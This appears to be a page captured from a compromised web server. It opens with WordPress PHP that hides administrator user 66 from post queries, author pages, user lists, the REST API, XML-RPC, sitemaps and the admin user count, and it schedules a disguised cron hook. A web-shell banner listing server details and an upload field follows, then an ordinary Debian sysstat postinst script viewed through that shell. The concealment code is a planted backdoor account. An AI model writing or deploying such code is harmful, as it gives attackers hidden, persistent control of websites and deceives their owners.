add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/lib/dpkg/info/ |
Upload File : |
#! /bin/sh
# vim:ts=4:et:sw=4
set -e
S_VERSION="10.3.1-1~"
PACKAGE="sysstat"
DEFAULT="/etc/default/$PACKAGE"
ENABLED="false"
### manage_default_file: manages $DEFAULT file with ucf ###
manage_default_file() {
ENABLED="$1"
if [ "$ENABLED" != "true" ] && [ "$ENABLED" != "false" ] ; then
echo "Internal error in the sysstat's postinst: \$ENABLED=$ENABLED" 1>&2;
exit 1;
fi
# Generate temporary files
def_file=`mktemp -t sstatXXXXXXXXX.def`
# Fill new temporary default file
cat > "$def_file" << EOF
#
# Default settings for /etc/init.d/sysstat, /etc/cron.d/sysstat
# and /etc/cron.daily/sysstat files
#
# Should sadc collect system activity informations? Valid values
# are "true" and "false". Please do not put other values, they
# will be overwritten by debconf!
ENABLED="$ENABLED"
EOF
# Finally, run ucf
ucf --three-way \
--debconf-ok \
"$def_file" "$DEFAULT"
ucfr "$PACKAGE" "$DEFAULT"
[ -e "$DEFAULT" ] && chmod 644 "$DEFAULT"
rm -f "$def_file"
}
manage_systemd_services()
{
ENABLED="$1"
all_services='sysstat-collect.timer sysstat-summary.timer sysstat.service'
num_all_services=3
# deb-systemd-helper does not have the --now option
sysctl='/bin/systemctl'
num_disabled=0
[ -x "$sysctl" ] && [ -d /run/systemd/system ] || return 0
for service in $all_services; do
"$sysctl" --quiet is-enabled "$service" || num_disabled=$(expr $num_disabled + 1)
done
if [ $num_disabled != 0 ] && [ $num_disabled != $num_all_services ]; then
# Do not override local administator choice to enable only some of systemd files
return 0
fi
[ $num_disabled = 0 ] && is_enabled="true" || is_enabled="false"
[ "$ENABLED" != "$is_enabled" ] || return 0
[ "$ENABLED" = "true" ] && enable_arg="enable" || enable_arg="disable"
for service in $all_services; do
case $service in
*.timer) options="--now" ;;
*) options="" ;;
esac
"$sysctl" "$enable_arg" $options "$service" >/dev/null 2>&1 || true
done
}
### Main ###
. /usr/share/debconf/confmodule
ENABLED=""
if [ "$1" = "configure" ] ; then
if dpkg --compare-versions "$2" lt-nl "$S_VERSION"; then
RET=""
db_get sysstat/remove_files || true
if [ "$RET" = "true" ]; then
echo "Removing old statistics from /var/log/sysstat." 1>&2
find /var/log/sysstat -maxdepth 2 \( -name 'sa[0-9][0-9]' -o -name 'sa[0-9][0-9].gz' \
-o -name 'sa[0-9][0-9].bz2' \) -exec rm -f {} \;
fi
fi
# show the question next time
db_reset sysstat/remove_files || true
db_get sysstat/enable || true
ENABLED="$RET"
manage_default_file "$ENABLED"
# must be called *after* manage_default_file, which uses ucf --debconf-ok
db_stop || true
if ! update-alternatives --display sar 2>/dev/null | grep -q '^/usr/bin/sar\.sysstat'; then
update-alternatives --install /usr/bin/sar sar /usr/bin/sar.sysstat 0 \
--slave /usr/share/man/man1/sar.1.gz sar.1.gz \
/usr/share/man/man1/sar.sysstat.1.gz
fi
fi
# Automatically added by dh_installdeb/13.14.1ubuntu5
dpkg-maintscript-helper rm_conffile /etc/profile.d/sysstat.sh 11.7.3\~ sysstat -- "$@"
# End automatically added section
# Automatically added by dh_installinit/13.14.1ubuntu5
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
if [ -x "/etc/init.d/sysstat" ]; then
update-rc.d sysstat defaults >/dev/null || exit 1
fi
fi
# End automatically added section
# Automatically added by dh_installsystemd/13.14.1ubuntu5
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
# The following line should be removed in trixie or trixie+1
deb-systemd-helper unmask 'sysstat-collect.timer' >/dev/null || true
# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled 'sysstat-collect.timer'; then
# Enables the unit on first installation, creates new
# symlinks on upgrades if the unit file has changed.
deb-systemd-helper enable 'sysstat-collect.timer' >/dev/null || true
else
# Update the statefile to add new symlinks (if any), which need to be
# cleaned up on purge. Also remove old symlinks.
deb-systemd-helper update-state 'sysstat-collect.timer' >/dev/null || true
fi
fi
# End automatically added section
# Automatically added by dh_installsystemd/13.14.1ubuntu5
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
# The following line should be removed in trixie or trixie+1
deb-systemd-helper unmask 'sysstat-summary.timer' >/dev/null || true
# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled 'sysstat-summary.timer'; then
# Enables the unit on first installation, creates new
# symlinks on upgrades if the unit file has changed.
deb-systemd-helper enable 'sysstat-summary.timer' >/dev/null || true
else
# Update the statefile to add new symlinks (if any), which need to be
# cleaned up on purge. Also remove old symlinks.
deb-systemd-helper update-state 'sysstat-summary.timer' >/dev/null || true
fi
fi
# End automatically added section
# Automatically added by dh_installsystemd/13.14.1ubuntu5
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
# The following line should be removed in trixie or trixie+1
deb-systemd-helper unmask 'sysstat.service' >/dev/null || true
# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled 'sysstat.service'; then
# Enables the unit on first installation, creates new
# symlinks on upgrades if the unit file has changed.
deb-systemd-helper enable 'sysstat.service' >/dev/null || true
else
# Update the statefile to add new symlinks (if any), which need to be
# cleaned up on purge. Also remove old symlinks.
deb-systemd-helper update-state 'sysstat.service' >/dev/null || true
fi
fi
# End automatically added section
if [ "$1" = "configure" ] && [ -n "$ENABLED" ]; then
manage_systemd_services "$ENABLED"
# execute sa1 in a subshell not to clobber the postinst script with potentially
# unsafe values from "$DEFAULT"
if [ "$ENABLED" = "true" ] && [ -x /usr/lib/sysstat/sa1 ] ; then
( set +e ; /usr/lib/sysstat/sa1 1 1 )&
fi
fi
exit 0